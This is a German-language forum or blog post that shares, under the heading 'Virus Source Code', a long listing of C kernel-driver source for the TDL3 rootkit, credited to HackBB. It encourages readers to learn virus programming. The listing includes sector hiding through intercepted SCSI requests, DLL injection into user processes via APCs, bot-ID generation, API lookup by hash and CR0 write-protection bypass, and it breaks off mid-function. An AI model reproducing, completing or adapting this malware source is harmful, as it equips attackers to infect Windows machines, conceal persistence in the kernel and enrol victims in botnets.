Virus Source Code
Ich sage immer Learning-by-doing. Interessant für alle fortgeschrittenen Programmierer, dich sich für Virus-Programmierung interessieren.
Source Code TDL3 Virus
Quelle: HackBB
Code:
#include "inc.h"
#pragma comment(linker,"/subsystem:native /entry:DriverEntry")
NT_BEGIN
EXTERN_C_START
DWORD GetDelta();
NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN);
VOID GetEPNameOffset();
NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
PTDL_START ptsStart;
PIMAGE_NT_HEADERS pinhHeader;
GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));
GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize;
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress;
GetEPNameOffset();
*GET_TDL_ADDRESSES->cBotID=0;
if(!NT_SUCCESS(Reinitialize(0,FALSE)))
{
IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
}
return STATUS_SUCCESS;
}
VOID GetEPNameOffset()
{
CHAR cSystem[]={'S','y','s','t','e','m',0};
GET_TDL_ADDRESSES->dwEPNameOffset=0;
while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
{
GET_TDL_ADDRESSES->dwEPNameOffset++;
}
return;
}
PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{
DWORD dwData;
for(dwData=0;dwData<dwSize;dwData++)
{
((PBYTE)pvData)[dwData]^=dwData+bKey;
}
return pvData;
};
NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
SCSI_REQUEST_BLOCK srbBuffer;
SENSE_DATA sdData;
IO_STATUS_BLOCK iosbStatus;
KEVENT keEvent;
PIRP piIrp;
PMDL pmMdl;
PIO_STACK_LOCATION pislStack;
memset(&srbBuffer,0,sizeof(srbBuffer));
memset(&sdData,0,sizeof(sdData));
srbBuffer.Length=sizeof(srbBuffer);
srbBuffer*****ction=SRB_FUNCTION_EXECUTE_SCSI;
srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
srbBuffer.SenseInfoBufferLength=sizeof(sdData);
srbBuffer.SenseInfoBuffer=&sdData;
srbBuffer.DataTransferLength=dwBufferSize;
srbBuffer.DataBuffer=pvBuffer;
srbBuffer.TimeOutValue=5000;
srbBuffer.QueueSortKey=dwAddress;
srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
srbBuffer.Cdb[0]=bOpCode;
srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);
srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);
srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);
srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
if(dwAddress!=0)
{
DWORD dwSectors;
dwSectors=dwBufferSize/0x200;
srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
}
KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
if(piIrp!=0)
{
pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
srbBuffer.OriginalRequest=piIrp;
piIrp->MdlAddress=pmMdl;
MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
piIrp->UserIosb=&iosbStatus;
piIrp->UserEvent=&keEvent;
piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
pislStack=IoGetNextIrpStackLocation(piIrp);
pislStack->DeviceObject=pdoDevice;
pislStack->MajorFunction=IRP_MJ_SCSI;
pislStack->Parameters.Scsi.Srb=&srbBuffer;
piIrp->CurrentLocation--;
pislStack=IoGetNextIrpStackLocation(piIrp);
piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
pislStack->DeviceObject=pdoDevice;
if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
{
KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
}
return iosbStatus.Status;
}
return STATUS_INSUFFICIENT_RESOURCES;
}
extern "C"
{
#include "gz.cpp"
#include "md4.cpp"
#include "socket.cpp"
#include "tdlini.cpp"
#include "tdlfs.cpp"
}
NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext)
{
NTSTATUS ntsStatus;
if(NT_SUCCESS(piIrp->IoStatus.Status))
{
PVOID pvBuffer;
PIO_STACK_LOCATION pislStack;
DWORD dwSector;
pislStack=IoGetCurrentIrpStackLocation(piIrp);
pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority);
if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
{
DWORD dwOffset;
if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector)
{
dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize;
}
else
{
dwOffset=0;
}
memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset);
}
else
{
for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
{
if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
&&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize))
{
memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize);
}
}
}
}
if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0)
{
ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext);
}
ExFreePool(pvContext);
return ntsStatus;
}
NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
PIO_STACK_LOCATION pislStack;
PDISK_COMPLETION pdcCompletion=0;
DWORD dwSector;
pislStack=IoGetCurrentIrpStackLocation(piIrp);
if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice)
&&(pislStack->FileObject!=0)
&&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR))
&&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))
{
piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED;
piIrp->IoStatus.Information=0;
TDLFSDispatch(pdoDevice,piIrp);
IoCompleteRequest(piIrp,IO_NO_INCREMENT);
return piIrp->IoStatus.Status;
}
if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk)
&&(!((pislStack->FileObject!=0)
&&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))
&&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)))
&&(pislStack->MajorFunction==IRP_MJ_SCSI)
&&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI))
{
BOOL bComplete=FALSE;
BOOL bEnd=FALSE;
if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
{
bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
}
else
{
for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
{
if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
&&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize))
{
bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
}
}
}
if(bEnd)
{
pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS;
pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS;
piIrp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(piIrp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
if(bComplete)
{
pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION));
if(pdcCompletion!=0)
{
pdcCompletion->picrCompletion=pislStack->CompletionRoutine;
pdcCompletion->pvContext=pislStack->Context;
pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey;
pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
pislStack->Context=pdcCompletion;
pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion);
}
}
}
return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp);
}
NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize)
{
CHAR cBotIDFormat[]={'%','x','%','x',0};
WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
UUID uuidBotID;
UNICODE_STRING usName;
HANDLE hVolume;
FILE_FS_VOLUME_INFORMATION ffviInfo;
IO_STATUS_BLOCK iosbStatus;
OBJECT_ATTRIBUTES oaAttributes;
RtlInitUnicodeString(&usName,wcVolumeObject);
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
ffviInfo.VolumeSerialNumber=0;
if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT)))
{
ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation);
ZwClose(hVolume);
}
if(ExUuidCreate(&uuidBotID)==0)
{
_snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber);
return STATUS_SUCCESS;
}
return STATUS_RETRY;
}
__declspec(naked) DWORD GetDelta()
{
__asm
{
call delta
delta:
pop eax
sub eax,offset delta
retn
}
}
__declspec(noinline) PVOID GetNtoskrnlBase()
{
BYTE bIDT[6];
PIDT_ENTRY pieIDTEntry;
PWORD pwAddress;
__asm
{
sidt bIDT;
}
pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
do
{
pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
if(*pwAddress=='ZM')
{
return (PVOID)pwAddress;
}
pwAddress--;
}
while(pwAddress!=0);
return 0;
}
VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*)
{
ExFreePool(pkaApc);
return;
}
NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
HANDLE hProcess;
OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
CLIENT_ID cidProcess;
PVOID pvMemory=0;
DWORD dwSize;
CHAR cDllReal[MAX_PATH];
CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
PCHAR pcDllReal;
if(*pcDll!='\\')
{
dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
pcDllReal=cDllReal;
}
else
{
pcDllReal=pcDll;
dwSize=strlen(pcDll)+1;
}
cidProcess.UniqueProcess=hProcessID;
cidProcess.UniqueThread=0;
if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
{
if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
{
KAPC_STATE kasState;
PKAPC pkaApc;
KeStackAttachProcess(pepProcess,&kasState);
strcpy(pvMemory,pcDllReal);
KeUnstackDetachProcess(&kasState);
pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
if(pkaApc!=0)
{
KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
}
ZwClose(hProcess);
}
return STATUS_NO_MEMORY;
}
VOID WIInjector(PVOID pvContext)
{
CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
CHAR cSection[]=TDL_CONFIG_INJECTOR;
CHAR cDll[MAX_PATH];
CHAR cSection2[]=TDL_CONFIG_MAIN;
CHAR cKey[]={'d','a','t','e',0};
DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
DWORD dwCurrent;
LARGE_INTEGER liTime;
KeQuerySystemTime(&liTime);
RtlTimeToSecondsSince1970(&liTime,&dwCurrent);
//CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
//DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);
//if(dwCurrent-dwDate>=60*24*60)
{
// DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
}
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
}
}
KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
return;
}
VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
WI_INJECT wiiItem;
ExFreePool(pkaApc);
wiiItem.pktThread=KeGetCurrentThread();
wiiItem.pepProcess=IoGetCurrentProcess();
wiiItem.hProcessID=PsGetCurrentProcessId();
KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
return;
}
VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo)
{
if(FullImageName!=0)
{
WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0};
UNICODE_STRING usKernel32Mask;
RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask);
if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0))
{
PKAPC pkaApc;
if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0)
{
GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA);
}
pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
if(pkaApc!=0)
{
KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0);
KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
}
}
}
return;
}
VOID WIKnock(PVOID pvWIKnock)
{
KEVENT keEvent;
ExFreePool(pvWIKnock);
/*
CHAR cSection2[]=TDL_CONFIG_MAIN;
CHAR cKey[]={'r','e','b','o','o','t','s',0};
CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
DWORD dwRand=(DWORD)rand()%100;
DbgPrint(cDebug,cKey,dwRand);
TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
*/
KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
while(TRUE)
{
LARGE_INTEGER liDelay;
if((*GET_TDL_ADDRESSES->cBotID==0)
&&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID))))
{
OBJECT_ATTRIBUTES oaAttributes;
WCHAR wcBotID[0x10+sizeof(L'\\')+1];
WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
UNICODE_STRING usName;
HANDLE hEvent;
_snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID);
RtlInitUnicodeString(&usName,wcBotID);
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE);
return;
}
liDelay.QuadPart=(LONGLONG)-10*10000000;
//liDelay.QuadPart=(LONGLONG)-1*10000000;
KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
}
return;
}
/*
void WITimer(PVOID pvWITimer)
{
CHAR cSection2[]=TDL_CONFIG_MAIN;
CHAR cKey[]={'r','e','b','o','o','t','s',0};
CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
KEVENT keEvent;
ExFreePool(pvWITimer);
KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
while(TRUE)
{
DWORD dwRand=(DWORD)rand()%100;
LARGE_INTEGER liDelay;
DbgPrint(cDebug,cKey,dwRand);
//TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
liDelay.QuadPart=(LONGLONG)-5*10000000;
KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
}
}
*/
PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
PIMAGE_SECTION_HEADER pishHeader;
DWORD dwSection;
pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
{
if((dwRva>=pishHeader->VirtualAddress)
&&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize)))
{
return pishHeader;
}
pishHeader++;
}
return 0;
}
DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
PIMAGE_SECTION_HEADER pishHeader;
pishHeader=RvaToSectionHeader(pinhHeader,dwRva);
if(pishHeader!=0)
{
return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress);
}
return 0;
}
DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
DWORD dwBytes=dwSize;
while(dwBytes>0)
{
if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
{
wChecksum++;
}
wChecksum+=*(PWORD)pvData;
dwBytes-=sizeof(WORD);
pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
}
return wChecksum+dwSize;
}
__declspec(noinline) DWORD HashString(PCHAR pcString)
{
DWORD dwResult=0;
while(*pcString!=0)
{
dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
}
return dwResult;
}
__declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash)
{
PIMAGE_NT_HEADERS pinhHeader;
PIMAGE_EXPORT_DIRECTORY piedExport;
PDWORD pdwNames;
PDWORD pdwProcedures;
PWORD pdwOrdinals;
DWORD i;
pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase);
piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase);
pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD);
pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD);
pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD);
for(i=0;i<piedExport->NumberOfNames;i++)
{
if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash)
{
return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID);
}
}
return 0;
}
NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp);
}
NTSTATUS TDLInit(HANDLE hDriver)
{
BYTE bDeviceName[MAX_PATH];
DWORD dwSeed;
DWORD dwCh;
DWORD dwSize;
GET_TDL_ADDRESSES->dwHiddenSectors=0;
dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart;
for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++)
{
GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a')));
}
GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0;
GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER)
{
GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice;
}
if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize)))
{
WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0};
PIMAGE_NT_HEADERS pinhHeader;
PIMAGE_NT_HEADERS pinhHeaderCache;
PIMAGE_SECTION_HEADER pishHeader;
PVOID pvMJStub;
DWORD dwOldCR0;
STARTING_VCN_INPUT_BUFFER svibBuffer={};
RETRIEVAL_POINTERS_BUFFER rpbBuffer;
WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0};
UNICODE_STRING usName;
HANDLE hPartition;
DWORD dwClasterSize;
OBJECT_ATTRIBUTES oaAttributes;
IO_STATUS_BLOCK iosbStatus;
FILE_FS_FULL_SIZE_INFORMATION fffsiInfo;
PARTITION_INFORMATION piInfo;
DWORD dwFirstSector=0;
BOOT_SECTOR bsSector;
MARK_HANDLE_INFO mhiInfo;
DWORD dwRsrcOffset;
PVOID pvRsrcOriginalOffset;
DWORD dwRsrcSize;
DWORD dwSector;
HANDLE hSection;
PVOID pvFile=0;
PWORK_QUEUE_ITEM pwqiThread;
_snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1,
wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory);
wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot;
RtlInitUnicodeString(&usName,wcPartition);
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
{
WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT;
mhiInfo.VolumeHandle=hPartition;
mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS;
mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT;
ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0);
ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation);
ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo));
GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector;
dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector;
if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0)))
{
dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector;
}
ZwClose(hPartition);
GET_TDL_ADDRESSES->dwFSLastClaster=1;
GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector;
memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors));
pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart);
pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize);
GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch);
dwOldCR0=__readcr0();
__writecr0(dwOldCR0&~(1<<16));
memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub);
__writecr0(dwOldCR0);
